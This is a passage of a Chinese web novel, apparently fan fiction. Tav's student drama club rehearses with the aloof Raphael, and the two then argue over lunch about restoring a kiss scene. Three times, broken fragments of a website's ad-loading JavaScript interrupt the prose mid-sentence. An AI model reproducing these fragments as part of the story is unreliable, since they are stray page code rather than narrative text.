但翼猫那次,当影心暗指拉斐尔对自己抱有好感时,哪怕她当时觉得这怎么可能,后来想起来的时候,心里却还是有些期待和得意。 她甚至开始理解拉斐尔所说的“看到一个骄傲的家伙低下头”的乐趣。 那期待很微小,她也没有任其发展——事实上,她主动掐灭了那发展,而且也有心理准备。 尽管如此,她却仍不想立刻面对第二次的、更为直接的拒绝。 . 拉斐尔看着塔夫,似乎在等待她问出那个确认的问题。 他的确没有直接回答她,因为那是她的陷阱,她早就有预设的回应。所以他跳出她的问题,告诉她,需要先经历过,“在那之后”的决定才有意义。 他想同她一起吃晚餐,哪怕食物是由学生餐厅提供,这已经足够明显了不是吗。 可她固不可彻地重新回到自己的那个问题。 但是,他又被她安抚了。 她说做决定的不是仅仅是她,他也同样重要。 真是懂得花言巧语的小骗子,最后的决定明明是她想要的,又何必再问? 拉斐尔突然轻笑一声:“我没有回答,是因为这并不会影响你的决定。” 塔夫跟着笑笑:“是。吃饭对我来说件挺重要的事。我今天更想要一个人享用晚餐。” 拉斐尔忍住打开塔夫脑袋看看里面想法的念头:“那祝你好胃口。”他目送塔夫转身离开,几步后又有些迟疑地回头瞧自己一眼,微笑对她说,“我很期待周三和你再见。” 直到看着塔夫走入学生餐厅,拉斐尔才终于扬起唇角。 她为什么要问那个问题? 那是因为她好奇自己对她的态度。 原来这才是他和她同等重要的意思。 这大概可以算的上一种放低姿态的示弱了,而她居然这样直白地表达了出来。 她在意,她在乎,她想知道。 虽然她仍没有得到答案。 塔夫还是做出决定的人,这一事实明明没有改变,但得知她也在期待他的回应后,拉斐尔却在紧张后感到一阵轻飘飘的愉快,接着又是极为充实的兴奋,还生出一股莫名其妙的勇气。 复杂而又陌生的感觉。 几乎让他感到有些…… . 塔夫端着晚餐——最单调却也最安全的炸鱼卷和薯条——坐到一张靠窗的圆桌旁。 不过已经找不到拉斐尔。 他刚才那回答,让她本以为得到的答案又变得不确定起来。 至于她自己,因为并不想再重新追问一遍,结果装模做样地都说了什么,真是好尴尬啊! 塔夫忍不住长长呼出口气。 其实她已经知道拉斐尔的态度,和那些狡黠的反问一样,拒绝回答本身就是回答。 拉斐尔也会害怕? 塔夫一讪,大概不是害怕,而是他心里根本没有名为“好感”这东西的存在。对他来说,无论什么事情,恐怕都要和由谁来决定、由谁来支配扯上关系。 塔夫咬了口三明治。酥脆面衣裹着嫩滑鱼肉,加上爽口的美乃滋卷心菜,薄而有嚼劲的饼皮,再来一根还有些烫手的粗切薯条。 还好这一切都没有影响她的食欲。 . 塔夫没再多想,直到周三晚上与菲拉在同一张圆桌旁碰面。 她还是点了炸鱼薯条,胃口也还是同样的好。 菲拉则紧张到吃不太下东西:“如果他唱歌比你还五音不全怎么办!?” 塔夫刚又塞两根薯条,此时只能咕哝着抗议:“我知道你是在担心,但我很受伤诶。” 菲拉知道她在开玩笑,没理睬她的抗议,继续专心致志道:“就算如此也没关系,我还来得及改编这首歌,他只用念白,也可以足够出彩,只要他的节奏感比你好那么一丁点。” 塔夫再次愤然抗议,把菲拉碗里的一块牛肉叉到自己嘴里,又毫不客气地大嚼起来,不再理会菲拉更像是自言自语的“可以这样改或那样改”。 吃到腹涨肚圆,塔夫满意对菲拉说:“你可是比吟游诗人还要厉害,一定没问题。” 菲拉立刻抱怨:“你害得我更紧张了!” 最后,塔夫只得承诺菲拉:在听到拉斐尔唱歌前,她会看好她,除了打招呼别说太多。 . 二人来到音 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 乐教室,拉斐尔已经站在三角钢琴前,和同样刚到不久的音乐指导桑德拉相互认识。 “我们都知道,拉斐尔没必要做自我介绍。”这是菲拉的小声评价。 而塔夫则立刻信守承诺,要菲拉别说话。 “你们来了!”桑德拉朝二人挥手。 她是位性格活泼的半身人,毛茸茸的火红色短发,可爱的心形脸,鼻子上有浅浅的雀斑。 拉斐尔也侧身看向她们。 他看上去特意打扮过,似乎连头发的弧度都经过精心固定。在灯光下,他的头发比眼睛颜色要深一些,同样泛着金色,整齐却又自然地向后梳去,露出光洁饱满的额头。 浅鸽子灰的衬衫和藏青色斜纹西裤剪裁合身,哪怕是没有任何特别装饰的款式,也显得他身材挺拔,比例优越。 塔夫又想了想,倒不如说,拉斐尔一向如此。 只是她总会先被他本人或整体吸引,而几乎没有太留意他的穿着打扮,所以此时稍微观察一下,就感到格外惊讶——哪怕已经过了一整天到了晚上,他还是保持着一丝不苟的外表,完美得有些严格。 简单打过招呼,当拉斐尔开始随桑德拉的琴音试唱时,塔夫就更加吃惊了。 音色、音准、节拍、旋律,无一不完美。 桑德拉“喔哦”一声,干脆继续弹了下去。就连对音乐一向挑剔的菲拉都赞叹不已。 “有什么事是他不擅长的吗?”塔夫喃喃。 菲拉从喜悦中分出点注意力,瞥她一眼:“你居然是这种反应?这根本一点也不令人意外。” “刚才到底是谁紧张到准备替他重新写一首歌?” “嘘!嘘!” 一曲终了,在塔夫的掌声和菲拉的赞美中,桑德拉提高声音道:“我必须说,因为我简直无法相信,精准,完美,很多地方的细节处理都是如此!塔夫告诉我这是你第一次唱,还一起做了些准备,但要我说,这绝对不可能是你的第一次!” “我练习过。” 拉斐尔刚才便一直看着塔夫,没有错过她眼睛一亮,又试图抑制脸上光芒的小表情,忍不住弯起唇,“当然不能浪费塔夫——我们亲爱的剧团团长——专门为我这位临时演员抄写的乐谱和歌词。希望你还满意?” 塔夫笑着朝他比个手势:“满意极了!” 事实上,拉斐尔找专业的声乐指导练习过三次。 第三次,也就是昨天,更是逐句确定了每一次呼吸的位置。 不过他只是简单回说:“看来练习是有效的。” “可不仅仅是有效果!”桑德拉更大声说,“我不是在夸张,但我不认为我有任何可以指导你的地方!除了帮你伴奏,如果你还需要的话。” “按你和塔夫的准备来。”拉斐尔目光从塔夫身上收回,“也许我们可以找到更多值得注意的地方。” . 拉斐尔和桑德拉交谈练习时,菲拉灵感迸发,拉着塔夫到教室最后,小声嘀咕起来。 如果给她足够时间,塔夫觉得她能把这出戏剧加满歌曲,或者干脆给拉斐尔写一整出音乐剧,不得不提醒菲拉,拉斐尔只会演出这一次。 “真可惜。”菲拉一下泄了气。 不过只有一下,因为她又立刻炯炯有神地看向塔夫,“你有办法吗?让他下学期也参演。” “你知道的,他是为了帮忙才加入我们。”塔夫笑着瞥菲拉一眼, “不过,我倒是有个更可行的办法。” . 32.信任 菲拉催促问:“什么办法?” 塔夫严肃道:“利用拉斐尔和阿斯代伦,吸引更多人加入剧团。” 菲拉怔愣,接着哭笑不得:“这和我说的有什么关系?” “人数多了,总能找到其他有天赋的人。” “没有别的办法?” “我不知道。”塔夫朝钢琴方向抬下下巴,“那可是他。” “也是,好吧。”菲拉最后只得遗憾点点头,“就是‘利用’听上去怪怪的。” 拉斐尔说的还是“使用他”呢,更奇怪。塔夫瞧向拉斐尔,他刚和桑德拉确认几处发音细节,很快又重新练习起来。 说是练习,和正式演出恐怕也没差多少。 接着她又注意到,拉斐尔虽然认真,但神情始终从容自若,没有任何不安或紧张,仿佛一切都在他的掌握中——这倒是很贴切,他唱出的每个音符都乖乖服从他的指挥。 这也让塔夫回想起拉斐尔给她的第一印象。 除了令人难以置信的英俊外,他自信笃定的气质立刻让她产生一种信任和好感。只是这初印象很快就被更加强烈的、程度可以算得上匪夷所思的傲慢取代。 直到现在,那信任和好感才重新慢慢浮回她的记忆。 更准确来说,她已不再期待任何带着浪漫色彩的好感。 至于信任,塔夫望着拉斐尔,没有发觉自己微笑起来,作为契约的合作方,他似乎的确值得信任。 . 练习结束,塔夫向拉斐尔问起下周的时间表,他却先稍微提高声音,要菲拉和桑德拉不用等自己和塔夫二人:“我和她有些事要说。” 菲拉朝塔夫使了个眼色,比口型:下学期! 她居然并没有放弃。塔夫心里好笑,冲她摆摆手:“周六见。” 当塔夫重新看向拉斐尔时,就立刻在心里收回了关于信任对方的评价。因为她已经下意识紧张起来,做好准备应付他要提出的要求,如果真的信任他的话,就一定不会这样吧。 她刚清下嗓子,拉斐尔已经开口:“周六的排练几点结束?” “看进度,希望不要拖到午饭时间后太久,”塔夫想了想,“最迟下午一点。” 拉斐尔嗯一声,从钢琴上拿起一本有些厚度的灰皮册子。 “这是你接下来整个学期的时间表?”塔夫诧异接过,更加吃惊,“《不幸的故事》?” “图书馆没有收藏,这是平装本,第一卷。” “谢谢……”塔夫还有些愣神拉斐尔把一切都想到时,他已经微笑问:“不如边走边说?” . 这次,塔夫还是没办法拒绝。 除了因为拿人手短,还因为拉斐尔已经知道她宿舍的方向,完全可以“顺路”。 至于她上次特意同他提到的时间表,他则根本没带。 “我当然记得,不过没有必要。”拉斐尔说,“我周六会去排练,中午前后。” 塔夫道:“不需要特意来。我也不想拖到太晚。” 拉斐尔挑了下眉,又像是在回忆什么:“我挺想去,如果你可以协调时间,那就最好不过。” “你在模仿我?”塔夫又好气又好笑,这不是翼猫那次她同他商量时说的话吗。 “看来足够像。”拉斐尔有些得意的样子。 “一点也不像!”塔夫瞥他一眼,“你非得要过来干嘛?” “帮你固定每周的排练时间。”拉斐尔理所当然的表情。 “我也不一定需要你的帮忙。”塔夫无奈。而且她原本是打算这周先提一嘴,然后等下周再定。 拉斐尔:“那我便是你的监督。” 塔夫:“……” 虽然这是她想做的,而且也知道早点完成早点少一桩事的道理,塔夫还是头疼不已,干脆直接转移话题,晃晃手中灰皮书:“对了,谢谢你借我,看完之后需要写读后感吗?” “至少一页羊皮纸。” “哈?”塔夫反应过来,“哈哈!” “十四磅字或更小,下周末之前。”拉斐尔看上去居然是认真的,“你应当知道如何交给我。” “我可不清楚。”塔夫立刻回。这也是个交易吗?书可是他硬塞给她的! “哦?”拉斐尔顿了下,“既然如此,如果我这周六没有去排练,你打算怎么通知我下一次的排练时间?” “……”又回到这个话题,塔夫却不意外,瞥拉斐尔一眼,“很简单。去你的赛艇俱乐部。” “那需要提前预约。很明显,你今晚没有这个打算。” 塔夫生出急智:“通过哈尔辛,或者威尔。赛艇队训练,或者兄弟会的派对。” 拉斐尔轻哼一声。 塔夫得意瞧着拉斐尔,直到他也转过头笑着瞥她一眼:“我周六一定会来,别结束太早。” “放心吧。”塔夫也笑了,“哪怕大家都走了,我也会等你。” 拉斐尔愣住,像是没意料到她答应得这么干脆,又过了好一会才说:“其他人也需要在。” 可恶,被发现了关键,看来她今天是逃不开这个问题了。塔夫投降:“好的,知道了,这周就固定排练时间。” 这算什么?俗话说得好,观众比演员还要入戏,国王不急秘书急。 拉斐尔看穿她的腹诽:“我也是演员之一。” “吓?”塔夫一惊,“你能猜到我在想什么?” 拉斐尔挑眉睨她一眼:“你脸上写满了字。” 塔夫不肯相信,要拉斐尔再猜,他却说:“你的宿舍到了。”他忍不住重新弯起嘴角,“别忘记读后感。” . 这家伙,玩笑也开得这么认真。 不过回去后,塔夫还是好奇翻开那本《不幸的故事》。 …… 一场离奇的大火,让三个小孩——最大的不过十岁,最小的还是个婴儿,全部变成孤儿。 浓雾中,马车缓缓前行,车轮压过雪堆,整个车身咯吱咯吱作响,马车夫的长鞭时不时啪地一声。鞭子落下后,老马便猛地向上拱起屁股,用力几步又立刻重新慢下来。 马车里,三个孩子围挤在暖炉旁,驶向未知而又残酷的命运。 …… 就像十几年前的冬天。 不过她的命运已经是确定而又明亮的。 塔夫心里还是一阵揪紧,把书丢到一旁,翻出只做了一半的阅读作业转换心情。 课外读后感什么的,当然得排在课内作业之后,拉斐尔也会理解的。 “那是什么?”影心瞄了一眼,“悲剧?还是黑色幽默?” 塔夫不太确定自己能信赖拉斐尔的评价多少,便只是说:“刚看了个开头,有点惨。”她又好奇,“你也没有听说过这个系列吗?”影心出自富裕的牧师家庭,阅读量比她要大很多。 “没有。”影心拿起书,扫眼封底简介,“儿童幻想?还这么惨?我还是跳过好了。” . 塔夫忙碌起来,便把那本书忘在脑后,直到周五晚上临去聚会前才突然想起。 影心已经喊她:“快来!” 这个聚会是几位相熟朋友聚在一起做点吃的喝的,聊聊天,再玩几轮纸 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 牌。 塔夫想了想,没有把书带上。 第二天早上出发去排练前,她盯着那本灰皮书,心里涌上奇怪的感觉。 自己为什么会有些愧疚和压力? 完全可以告诉拉斐尔,她看了个开头,不是太感兴趣,就可以把书还回去了。 是因为拉斐尔说这系列是他的最爱吗? 但毕竟是他小时候的最爱。就如她现在,哪怕仍然能记起好几幅书中插画,却也不会再重读儿童版的费伦历史。 塔夫拿起书又放下。 暂先不用还,距“读后感”还有一周,她可以等时间更充裕的时候,静下心来再试一次。 . 今天的技术排练,菲拉仍会负责指导演员走位,却是舞台监督塔夫和灯光师里萨的主场。 为了这出戏,里萨设计了很多可以反应人物内心挣扎的灯光效果。 还有舞台正中父亲的画像。哪怕这个人物从没有出场,却仍是家庭的核心,也是悲剧的源头之一。塔夫和里萨会通过调整位置、光照和阴影,让“父亲”的形象变得或沉重或虚无。 这也是她们当初选择这部剧的原因。 ——在塔夫挑选的剧本故事之上,菲拉可以加入歌曲舞蹈,而里萨也能试验她的技术。 当初拉斐尔问起时,塔夫没能向他详细解释。 除了她那时正处于困窘混乱,拉斐尔大概也不会多么理解这种合作:她并不是剧团说一不二的主导,每个人都能找到感兴趣的一部分。 早上那种奇怪的感觉再次涌了上来。 她为什么还要这么在乎拉斐尔是否理解呢。 “塔夫?这里可以吗?”道具组大声问。 塔夫回过神:“再左边一点!萝拉母亲正式演出时裙摆更大,恐怕会挡住些灯光。” …… 时间过得很快,这是她们第一次技术排练,有很多地方做了调整,塔夫一一记下,抬头看到萝拉身影一晃,是询问也算是提醒:“需要休息一下吗?还有最后两场。” 萝拉已经在舞台边缘:“拉斐尔?” 塔夫转过身,望见拉斐尔。 他似乎是从刚结束的训练或比赛便直接赶来,头发略微有些凌乱,脸上带着大约是晒后的浅红,衬得眼睛格外明亮。 这次他穿着材质贴身的深色上衣——如果不是颜色很深,甚至能看出明显的胸腹肌肉线条。外面随意套了一件轻薄的运动夹克,前胸口袋处用金红两色秀着俱乐部标志。那外套只在腰身处简单收窄,却也被他穿出挺阔锋利的轮廓。 真是够了。 她得停止过度观察拉斐尔了。 塔夫清下嗓子:“拉斐尔。你来了。太好了!” 拉斐尔已经大步来到舞台旁,笑着瞧她一眼:“希望没有错过太多。” “时间刚刚好!下一场正是你和萝拉的重要对手戏。” 拉斐尔一下收回笑容:“……” 塔夫:? 塔夫解释道:“我们进度有点慢,哦糟了,我忘记告诉大家你今天会来一起排练。” 虽然已经太迟,她还是补充说了句,果不其然地换来一声声打趣:“我们看得到!” 拉斐尔脸色看上去更差:“……” 塔夫总算反应过来:“咳,拉斐尔你需要休息一下吧?正好萝拉也需要。” 拉斐尔终于开口:“……不必。” 萝拉也连忙说:“我不需要休息。我刚才只是看到拉斐尔,同他打招呼。” 塔夫点点头:“那就一起去准备吧!” . 33.取代 没想到拉斐尔来得这样早,塔夫却很是庆幸。 他和萝拉的这出对手戏可是整出剧最重要的一场。虽然其他人可以协助走位,但因为拉斐尔个子高,由他本人来当然更好。 场景是萝拉家的客厅,道具除了家具,还有烛光,窗外的月光,传来的舞曲,以及玻璃动物们和最重要的玻璃独角兽。 因为是技术排练,华尔兹部分只需要拉斐尔和萝拉站在起始走位,一曲无误过后,又快进到摆放玻璃动物园的架子前。 拉斐尔碰落独角兽,俯身捡起。 “这里灯光从两个人之间照进去,打在独角兽上。”塔夫一边指挥一边对台上两人说,“拉斐尔手放得低一些,萝拉靠得再近一些!” 她看着台上近乎依偎的身影,忽然想起自己和拉斐尔初次对台词的时候。以及……他要求删掉的亲吻。 塔夫脸一热,嗓子也一紧,过了一会才对菲拉说:“这场也没问题了。” 菲拉点点头,指挥道:“坐回到沙发上!” 拉斐尔也许有些累,越来越面无表情。塔夫毫不怀疑,如果这次排练需要说台词的话,他的语气就已经足够割伤萝拉。 也幸好演员本身性格和羞怯的萝拉很不一样,才没有被他周身生人勿近的可怕气息吓到。 …… 终于到了最后一场萝拉的独角戏。 舞台上,橱窗中摆满漂亮的玻璃香水瓶。 萝拉慢慢走下舞台,货架倾倒,香水瓶变成她的玻璃动物——她心中安全的虚幻国度——充满象征意味地一起摔个粉碎,却带来闪亮的希望。 整个场景,包括玻璃动物如同水晶一般的材质,全部是用灯光实现。里萨已经等待这一刻很久,也是被爱称为“宝贝”大显身手的时候。 里萨试验过几次一两盏灯的破碎效果,都挺成功。这是她第一次在一整个舞台打光,组合起来后的实际情况却大打折扣,和她设计中的很不一样。 里萨又调整几次,语气难掩沮丧:“不对!还是不对!” “我们还有很多时间。”菲拉和塔夫都安慰道。 里萨听上去却更沮丧了,不过只是说:“这次先到这里吧,我回去再琢磨一下。” 菲拉和塔夫对视一眼,又对里萨说:“别太有压力。” 最后一场戏不算太鼓舞人心,不过排练还是结束了。很快,塔夫就需要向大家说出固定排练时间的提议。 她视线下意识地先去找拉斐尔。 他正在舞台另一侧,抱着双臂。萝拉在他身边解释着这出剧的特别之处:“除了演出本身,歌舞、舞台和灯光设计也是同样重要的一部分,所以里萨才会这样泄气。” 拉斐尔始终抬头看着里萨忙碌,微微眯起眼睛。 “但我不太担心,因为只是音效也足够说明这个场景了。”萝拉说着放低声音,踮起脚凑近他耳边说,“……宝贝。” 拉斐尔终于低头看向她,轻轻弯起唇。萝拉也冲他微笑起来,唇角露出两个可爱的浅浅梨涡。 塔夫心里一跳,发现拉斐尔目光似乎要朝自己看来时,连忙低头整理笔记。 古怪的感觉,并不全然陌生。 而且和上午那两次的奇怪感觉不太一样。 应该也不是拉斐尔初来剧团时感到的嫉妒——她早已经习惯了他在剧团受到欢迎。 这似乎更像是同拉斐尔第一次谈判后,她感受到的不安。 她果然还是无法信任拉斐尔,但是约定中并未规定他与其他剧团团员的关系。 大概还是因为他刚才观察里萨观察得很仔细。 他在计划什么吗? 塔夫先慢慢呼出一口气,这才重新抬起头提高音量:“排练结束!请把下周的时间表交到我这里!” 萝拉次仍主动要求帮忙,塔夫把半沓分给她,萝拉粗翻一遍,提议道:“我们可以固定每周的排练时间吗?” 塔夫有些惊讶地看向她,再次提高音量:“大家静一静!先来这里一下。” 萝拉笑了,重说一遍提议,接着解释起来: “最重要的是课表,到现在早已经定下。小组讨论什么的,和社团活动相比,反而更不规律,不如定下时间更确定的排练。哦,团长还有兼职,但那个的话,并不是每个人都有。” 她望向剧团其他人,“你们怎么看?” 塔夫先点头支持道:“我其实也有这个想法。” 一位负责道具的大一学弟反对:“现在是没问题。但按上学期的情况,期末会变得相当麻烦起来。” 萝拉立刻回:“无论怎么安排,期末那段时间都是特殊的。”她又问,“拉斐尔你说呢?你这么忙,这次还特地赶来。” 拉斐尔仍看不出什么表情,也不发一言。塔夫连忙向他使眼色,直到睫毛都要眨掉了,他这才想起什么似的开口,声音不算愉快:“我赞同固定时间。” 萝拉却像是受到鼓舞,又看向道具学弟,他没再反对。 …… 事情便这样定了下来。 讨论后,最适合每个人的时间在每周六下午。 不过塔夫周六晚上有餐厅兼职,需要提前至少一刻钟离开。 “我们一般也不会排练那么久。”萝拉说。 塔夫朝她笑笑:“我没问题。”虽然没办法结束后帮忙整理,但她可以提前来准备。 菲拉表情有些古怪,多瞧了几眼塔夫,最后还是同意道:“只要每个人都按时来,按时开始。” 塔夫一僵,因为她下周六下午和威尔约好一起帮盖尔教授登记成绩,会迟些才来。 好在只是临时一次。 . 虽然多花了些时间,剧团活动还是按计划在一点前结束。 萝拉同拉斐尔有话要说。 菲拉和里萨要一起去镇上参加一个试吃活动,往常她总会邀请塔夫,这次却没有。塔夫立刻反应过来,交叉食指和中指,但没举起,只是在腿侧敲了敲,一边冲菲拉眨眼睛一边低低比了个“祝你好运”。 和拉斐尔不同,菲拉一下就看到了,皱皱鼻子,又朝她摆摆手:“下周见!” “下周晚点见。”塔夫笑着与大家道别,自己离开。 . 去自助餐厅的路走到一半,塔夫突然看向身侧。 拉斐尔不知什么时候追了上来,在她身旁似笑非笑看着她:“这就是我们排练后的‘固定’余兴节目?” “可你说过,下一次,也就是这一次,不会有。”塔夫想了想,“实际上,接下来都不会有,因为我会提前离开。” 拉斐尔轻哼一声,没说话,塔夫也没有。二人沉默一会,他重新开口,却换了个话题:“你不好奇萝拉同我说了什么?” “我需要知道吗?”塔夫有些奇怪,又立刻自问自答,“大概需要,如果和剧团有关的话。” 拉斐尔语气带上明显嘲弄:“她感谢我支持她的提议。” “你刚才的确支持了她,她感谢你,这有什么问题?” “你支持了她,她可并没有感谢你。” “因为当时有学弟立刻提出反对意见。” 拉斐尔皱起眉:“而且,这应该是‘你’的提议。” 塔夫更奇怪了:“用你常说的话,结果是一样的。” 拉斐尔又哼一声,仔细看向塔夫。 塔夫被他瞧得有些不自在,略微睁圆眼睛,这次反问了回去:“不是吗?” 拉斐尔仍盯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 着她,喉结上下滚动。 一样?结果也许是一样的,但他想要支持的人可不是萝拉。不过最后,他也没有直接回答,而是移开视线,清下嗓子,回到刚才的话题: “另外,萝拉询问你和我的关系。” “这又不是什么秘密。”塔夫回答得同样干脆,“剧团的每个人都知道你是我请来帮忙的。” 拉斐尔声音放轻:“而因为某些尚未明说的原因,我同意帮这个忙。” 塔夫愈发不喜这对话的发展。 这再次提醒了她,虽然她仍没有确认,但当初演员离团的罪魁祸首十有八九正是面前这个人!她下定决心把这一页翻过去,忍着不问也就算了,他居然还好意思自己说起。 她轻轻呼一口气,甚至捏了下拳头:“你愿意告诉她也无妨。自助餐厅快到了,我先走了。” 拉斐尔伸手拦她身前:“我的话还没有结束。” 这语气,这回答,同她和拉斐尔初遇那天一样。 塔夫觉得自己在爆发质问的边缘,做了个深呼吸,声音依然有些颤抖:“距离午饭时间结束还有半个小时。” 令她没想到的是,拉斐尔笑了:“我接受你的午餐邀请。” 塔夫:“……”我的意思是我现在没空! “这个时间人应该不多。”拉斐尔反客为主起来,“不过,如果你担心被看到或被听到……” 塔夫简直要被他过于坦然的态度气笑了,倒想要看看他能说什么:“我们去你上次的那个房间。” . 塔夫做好了战斗——至少是对峙的准备,没想到却变成阻止拉斐尔浪费粮食的品德课。作为亲自收过燕麦、摘过苹果的人来说,这是最可恶的罪行,没有之一! 房间是私密的,但食物仍由餐厅统一提供,而这位心里没数的贵族公子哥居然准备把橱窗后的菜色每种都来一份。 “根本吃不下!别自以为是了,我绝对不会帮你吃!”她总算是说服拉斐尔最多点两种主菜,“也别再拿薯片了!” “薯片可以带回去。”拉斐尔的理由仍然幼稚得可笑! “但放久了会变软!没人喜欢软的薯片!”最后还是会被扔掉! “你最喜欢哪个口味?”拉斐尔忽然问。 “这跟我有什么关系?”塔夫觉得自己在往另一个方向爆发,别拿她当浪费的借口! “你有什么推荐吗?”拉斐尔自然地问,“我没吃过。” 塔夫不由得诧异:“真的?” “真的。” 这可真是意外!塔夫一下子很有主人感,介绍起来: “蜂蜜味又甜又咸,吃多了会腻,但好久不吃会很想念。盐醋味和奶油洋葱味的比较大众……你这是要在兄弟会里开杂货店吗!?” “这主意倒也不坏。” “……” 回到那道镶着彩绘玻璃的厚重木门后,塔夫身心俱疲,一点也不再想知道几周前演员退出的原因,只想自己赶快吃完赶快离开。 至于罪行加一的祸首拉斐尔,他的“别担心”在塔夫听来根本像是嘲笑:“你提到的那位赶人走的矮人大叔不会来这里。”他把蜂蜜味的薯片堆到塔夫面前,“所以,你可以慢慢来。” 塔夫饿得有些狠,没理睬他,咬了好几口自己的花生酱和杏子酱的软面包三明治,嘟囔说: “是可以赶快讲刚才的正事才对。” 拉斐尔微笑坐在一旁,始终只是看着她在吃,一直等到她咽下嘴里食物才说:“嗯。萝拉还问起被你特意删掉的吻戏。” “噗!”塔夫仍是惊得咳嗽起来,“咳咳咳!!什么?!” 这下终于轮到拉斐尔教训她:“餐桌礼仪!” . 34.做梦 塔夫喝了一大口水。 “你这话说得很有问题!”她刚一咽下就立刻说,又差点呛到, “什么叫做被我‘特意’删掉的?你别一直在中间添油加醋,挑拨我和萝拉的关系。” “请你把嘴里的东西先咽下去。”拉斐尔恰到好处地递给她一条餐巾布, “以及,这是萝拉的原话,未经任何加工和修饰。” 塔夫一把夺过,有些讪讪却还是瞪他一眼。肯定有其他上下文,拉斐尔惯会说话只挑着说一部分。她一边擦擦嘴一边反问:“你没有告诉她这是你的要求?” “没有。” “为什么不?” 拉斐尔笑了:“因为你已经在剧团解释过原因。” 塔夫放下餐布:“可我的解释只是从剧本本身出发。” 拉斐尔仍微笑看着她:“既然你当初没有提过我,我此时忽然告诉她这其实是我的要求,那么你变成了只是执行者,岂不是会破坏你在剧团的威信?” “这也能扯到威信?又不是你一个人的决定。”塔夫只觉得拉斐尔的笑容分外可恶,“而且,我当初没说,还不是因为你的原因太不专业。” 拉斐尔笑容更深。 塔夫忿忿瞧着拉斐尔,忽然一下串起了萝拉的两个问题。 ——她和拉斐尔的关系。 ——她要求删去的萝拉同拉斐尔的吻戏。 “难怪如此!”塔夫恍然,“她,她,萝拉她不是误会了吧?” 萝拉大概是以为自己和拉斐尔有什么浪漫关系,所以拉斐尔才会同意来帮忙,而她又特意删掉了他的吻戏。 拉斐尔挑眉:“误会什么?” “……”塔夫恨恨瞪了这个突然迟钝起来的家伙一眼。 如果她说出口,肯定会听到拉斐尔的刻薄嘲弄,哪怕她同样觉得可笑,也还是会感到尴尬, “反正是没有的事,也只是我的猜测。”她含糊过去, “你同萝拉具体是怎么说的?” “什么都没有说。” “什么?” 拉斐尔看上去是准备说那句“你听到我说了什么”,但咽了回去,重复一遍: “我没有回答她。” 塔夫诧异:“那是什么意思?你一句话都没说?她也没有追问?” 拉斐尔说:“我告诉她,我需要和你确认后才能给她答复。” 塔夫哀叹一声捂住脸,这不是更让人误会了吗。 于是,她没有看到拉斐尔眉梢眼角一晃而过的笑意,过了一会,才双手按着眉尾无奈地看着他: “为什么?你当时是怎么想的?” 拉斐尔一脸理所应当:“问题关系到你,我自然要尊重你的想法。” 塔夫下意识想要反驳他才不尊重自己的意见,打从一开始就强买强卖!影心的“售后评价”却同时跳了出来:拉斐尔在交往的时候还挺尊重人的。 不是交往,是交易。 她连忙提醒自己,但脸上表情变幻,最后又是好笑又是自嘲地摇摇头:“你是因为我们之间的约定?你担心这可能会影响演出?” 拉斐尔却没有回答,只继续问:“你希望如何答复萝拉?” “实话实说,跟萝拉解释清楚。”塔夫有些泄气,说完又立刻叹一声。如果萝拉会这样猜测,剧团其他人可能也会,这都是什么乌龙。 拉斐尔仍继续问:“解释什么?” 塔夫头疼:“我会跟萝拉说清楚。至于亲吻的事,你自己的原因你自己同她说。” 然而这种模糊的回答无法满足拉斐尔,塔夫长长呼一口气,一条条说明白: “一切都没有改变。我和你是合作的关系。而我赞成删去吻戏,是因为你的角色没有激情也不会冲动。” 拉斐尔神色不明地看着她,沉默片刻后说:“萝拉询问我,是因为她想要加回吻戏。” 塔夫怔住。 拉斐尔又道:“这次是我的猜测,但基于她的暗示。当你同她解释时,她可能会向你直接提议。”他顿了下,接着居然把萝拉的语气语调模仿了个至少五成, “既然如此,如果你不介意的话,可以把那个吻加回来吗?(微笑)” 塔夫没忍住笑出声,不由自主看向拉斐尔嘴唇,意识到后又匆忙别开视线。 太奇怪了。 为什么要问她是否介意?他又不是她的什么人。 太奇怪了。 她现在的反应也太奇怪了! 然而她一时却说不出话。 她很想笑骂拉斐尔真是够自恋的,却觉得自己很能够理解萝拉的这个提议。 她和拉斐尔第一次对台词的时候,哪怕对他的印象一直糟糕,外加觉得契约是悬在头上的利剑,甚至连跳舞也像是滑稽戏,但只是和他近距离对视,就仍免不了有心动的感觉。 而萝拉的角色,可是真的喜欢拉斐尔,还有一段真正的华尔兹。哪怕之后拉斐尔的安慰被改得不那么温情脉脉,却也绝不是出于恶意。 所以,这简直再自然不过了,萝拉被拉斐尔吸引。 然而萝拉不清楚拉斐尔的态度,也不确定她同拉斐尔的关系,所以先问问看。至于为什么问拉斐尔而不是她,大概是因为吻戏的另一方是拉斐尔。 思考至此,塔夫抿抿唇,终于说:“我……认为这是你们之间的决定。” 拉斐尔仔细看着她,表情慢慢变得冷硬起来。 塔夫心里又莫名一跳。 他为什么看上去有些不快?他希望她介意?他希望她在乎? 他其实,希望她反对……他亲吻萝拉? 拉斐尔重重哼一声,语气带上嘲弄: “这是你的剧团、你的戏,塔夫。萝拉只是演员。而你,你是剧团团长,需要对整部演出负责。” 塔夫羞恼起来,再次偏过视线。 她明明应该知道的,却又自作多情。她以为关键在亲吻,而拉斐尔其实只想指出她对剧团、对演出没有掌控力? 是了,之前他强调的“她”的提议也是如此。 哪怕结果一样,顺利定下排练时间,但只是因为提议由萝拉提出,拉斐尔也用了相似的不快语气。 威信、要求、执行、决定…… 哪怕他加入了剧团,也始终从这种角度看这一切。 她沉默的时间有些久,拉斐尔重新开口时声音变得温和些,但塔夫却从他的言辞中听到更多嘲弄:“我很意外你会迎合别人的要求。所以,‘你’的看法是什么?” 塔夫猛地盯住他: “没错,萝拉是演员。但她不是我的木偶,这也不是我一个人的戏。我之前的改动是考虑到你的气质,不过恰好和你的想法一致,并不是迎合。 “至于吻戏本身,虽然这出戏的重点不是爱情,但吻戏总是可以作为宣传的噱头——哪怕你的出演本身,以及阿斯代伦的回归,已经足够吸引观众。 “所以,‘我’的看法是,如果你和萝拉达成一致,我不介意改回当初的剧本。” 她开始看不出拉斐尔的表情。 他像是戴上一副精心雕刻的面具,只有眼睛显出他仍和她处在同一时空,心里并不像表面那样平静。 